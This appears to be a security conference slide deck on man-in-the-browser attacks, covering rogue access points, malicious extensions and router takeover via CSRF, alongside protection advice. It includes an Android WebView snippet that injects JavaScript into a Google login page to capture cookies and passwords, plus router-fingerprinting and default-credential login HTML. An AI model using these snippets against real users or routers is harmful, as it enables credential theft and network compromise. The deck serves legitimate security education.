Man-In-The-Browser Attacks
Daniel Tomescu

OWASP
The Open Web Application Security Project
About me

Work and education:
- Pentester @ KPMG Romania
- Moderator @ Romanian Security Team
- MSc. Eng. @ University “Politehnica” of Bucharest
- OSCP, CREST CRT

Interests:
- Web app security
- Internal network penetration tests
- Red / Blue Teaming
- Curious about mobile and embedded devices
- Bug bounty hunter
Getting the password

- From Facebook
  - Not that easy…

- From NSA / FBI / SRI
  - They won’t respond my emails

- From the user
  - Social Engineering rocks!
  - But I don’t like dealing with people too much.

- From the user’s browser
  - Knows more about the user than the user itself
  - But which browser?
  - And how?
A few browsers
Browsers? Really?
Mobile browsers?

Chrome 46%
Safari 18%
UC Browser 17%
Samsung Internet 7%
Opera* 6%
Smart TV? Console?
Ok, it’s time to stop!

HTML Help: run “hh http://google.com”
Security features

- Implementation of CORE security features:
  - Same Origin Policy
  - HTML / JS / CSS Engines
  - Local file access
  - Session management / local storage
  - HTTP Request / Response headers
  - Certificates

- Fancy security features
  - Extensions / Add-Ons
  - In-Browser Apps
  - Developer Tools
  - Inter-application communication
The address bar, probably the only reliable security indicator

“We recognize that the address bar is the only reliable security indicator in modern browsers”, Google, https://www.google.com/about/appsecurity/reward-program/
More security indicators

- View source
- Inspect certificates
- Monitor network traffic
- Check origin
- Extensions?
- Process list?
- Is somebody watching you?
- Trusted root certificates

  + Certificates installed by your **antivirus software**
  
  + Certificates installed by your **Company**
  
  + Certificates installed by **proxy tool(s)**
  
  + Certificates installed by **development frameworks**
  
  + Certificates installed by strange **3rd party applications**

  … And I don’t even fully trust the default certification authorities.
… if the browser supports extensions,

… and if an attacker manages to control a browser extension

+ Every permission you can dream of (almost), the browser is yours!

- Hard to install
  - access to the system
  - trick the user to install extensions by himself

- Also, a bit of programming is required
Local Access

- **Elevated permissions**: no fun, you can control anything, therefore the OS and everything it runs (including the browser) is compromised.

- **Limited user permissions**:  
  - Elevate permissions!  
  - Install malicious browser extensions  
  - Steal / replace browser profiles => passwords!  
  - Start browser with disabled security features:  
    >> chromium-browser --disable-web-security  
  - Intercept browser traffic and eavesdrop passwords, secrets  
**MITM scenarios:**
- Control the **DHCP server**
- Control the **DNS server**
- Control one intermediary node (ex: a proxy server)
- Good old **Arp Spoofing** gets the job done
  - Or maybe it doesn’t…

**Protection:**
- Use **HTTPS**, with a valid certificate
- Cool security headers: **HSTS, CSP, Secure flag** for cookies

- A decent **Antivirus** solution
- Use **trusted network connections** only!
The Man is the Browser!

Common attack in applications which used WebView controls to embed HTML content
The Man is the Browser!

OWASP
The Open Web Application Security Project

Payment Info

Welcome to our new login page! Updated look, same secure PayPal. Switch to old login

Pay with PayPal

Email address

Next

Having trouble logging in?

or

Create an Account

PAYMENT METHODS

We accept the following secure payment methods:

PayPal, WebMoney, Amazon Payments, MasterCard, VISA, American Express, Discover, Diners Club, JCB, Maestro, Solo, Switch, UC, Visa Electron, and Wire Transfer.

When you submit your payment information, your data is protected by Secure Socket Layer (SSL) technology certified by a digital certificate.
The Man is the Browser!

Inserting arbitrary JavaScript code in WebView control – Java code for Android

```java
public void onPageFinished(WebView view, String url) {
    if (url.contains("accounts.google.com")) {
        view.evaluateJavascript("if (document.getElementById('evilIframe') == null) {
            var e = document.createElement('iframe');
            e.id = 'evilIframe';
            e.style.display = 'none';
            document.body.appendChild(e);}", null);
        view.evaluateJavascript("document.getElementById('Passwd').onblur=function(){
            + encodeURIComponent(document.domain + '  ###  ' +
            + document.cookie + '  ###  ' +
            + document.getElementById('Email').value + ' : ' +
            + document.getElementById('Passwd').value);}", null);
    }
}
```
Rogue AP:
1. Target a device with WiFi turned on;
Rogue AP:

1. Target a device with WiFi turned on;

2. Detect WiFi profiles already known by the target;
   - Name (SSID)
   - MAC Address (BSSID)
   - Authentication protocol (None / WEP / WPA / WPA2 / WPA Enterprise / Magic)
Rogue AP:

1. Target a device with WiFi turned on;
2. Detect WiFi profiles already known by the target;
3. Replicate the discovered profiles, hoping that one of them has the “automatically connect” option checked;
   - Also, continuously disconnect the target from his safe connection;
Fantasy attack #1

Rogue AP:
1. Target a device with WiFi turned on;
2. Detect WiFi profiles already known by the target;
3. Replicate the discovered profiles, hoping that one of them has the “automatically connect” option checked;
4. Capture any connection attempt (half handshake) and bruteforce it to recover the WiFi’s original password.
   - https://github.com/dxa4481/WPA2-HalfHandshake-Crack
Fantasy attack #1

Rogue AP:
1. Target a device with WiFi turned on;
2. Detect WiFi profiles already known by the target;
3. Imitate the discovered profiles, hoping that one of them has the “automatically connect” option checked;
4. Capture any connection attempt (half handshake) and bruteforce it to recover the WiFi’s original password.
5. Again, replicate the discovered network with the correct password and wait until the user connects to your AP.
   - CVE-2017-11120: Buffer overflow in Broadcom WiFi chipsets;
   - Classic MITM attacks:
Visiting a malicious website:

1. Detect the victim’s local IP address:
   - Demo: [http://portswigger-labs.net/hackability/](http://portswigger-labs.net/hackability/)
   - **WebRTC** is your friend.
Visiting a malicious website:
1. Detect the victim’s local IP address;
2. Guess the router’s IP address:
   - Probably it is the gateway: 192.168.1.1 or 192.168.1.254
   - The web management interface is probably accessible on a common port: 80, 443, 8080, 8443, 8888
Visiting a malicious website:
1. Detect the victim’s local IP address;
2. Guess the router’s IP address;
3. Detect router type using a simple trick: trying to access router images (logo, background, icons) which can be accessed without authentication:

```html
<html>
  <img src="http://192.168.1.1/images/WebGUI/Logo_full.png"
       onerror="alert(this image is not available)">
</html>
```
Visiting a malicious website:
1. Detect the victim’s local IP address;
2. Guess the router’s IP address;
3. Detect router type;
4. Login in the Router’s web administration interface:
   - Logon CSRF?
   - Default credentials? admin : admin

```html
<form action="http://192.168.1.1/Login.php" method="post">
  First name: <input type="text" name="username" value="admin"><br>
  Last name: <input type="text" name="password" value="admin"><br>
  <input type="submit" value="Submit">
</form>
```
Visiting a malicious website:
1. Detect the victim’s local IP address;
2. Guess the router’s IP address;
3. Detect router type;
4. Login in the Router’s web administration interface;
5. Exploit other CSRF vulnerabilities in the Router’s web interface:
   - Change DHCP settings;
   - Change DNS settings;
   - Update firmware – which will probably brick the router;
   - Restart router for changes to take effect.
Visiting a malicious website:
1. Detect the victim’s local IP address;
2. Guess the router’s IP address;
3. Detect router type;
4. Login in the Router’s web administration interface;
5. Exploit other CSRF vulnerabilities in the Router’s web interface;
6. Configure a Captive Portal!
Visiting a malicious website:
1. Detect the victim’s local IP address;
2. Guess the router’s IP address;
3. Detect router type;
4. Login in the Router’s web administration interface;
5. Exploit other CSRF vulnerabilities in the Router’s web interface;
6. Configure a Captive Portal and ask for credentials:
Visiting a malicious website:
1. Detect the victim’s local IP address;
2. Guess the router’s IP address;
3. Detect router type;
4. Login in the Router’s web administration interface;
5. Exploit other CSRF vulnerabilities in the Router’s web interface;
6. Configure a Captive Portal and ask for Integrated Windows Authentication (NTLM-SSP)
Fantasy attack #2

Captive Portal with Integrated Windows Authentication (NTLM-SSP):

- Can be simulated with Responder, [https://github.com/SpiderLabs/Responder](https://github.com/SpiderLabs/Responder)

- NTLMv1 / NTLMv2 handshakes can be bruteforced;
- The obtained credentials might be used to RDP into the victim’s computer or to execute commands over SMB using PsExec or similar tools (Administrative privileges required)
Visiting a malicious website – Protection measures:

1. Don’t visit malicious websites 😊

2. Use a router which is not vulnerable to CSRF;

3. Do not use default credentials for admin interfaces.

4. Do not use default settings for browser security levels AND disable unused features.
Questions?
Thank you!

Mail:   mail@daniel-tomescu.com
LinkedIn:  https://www.linkedin.com/in/daniel-tomescu/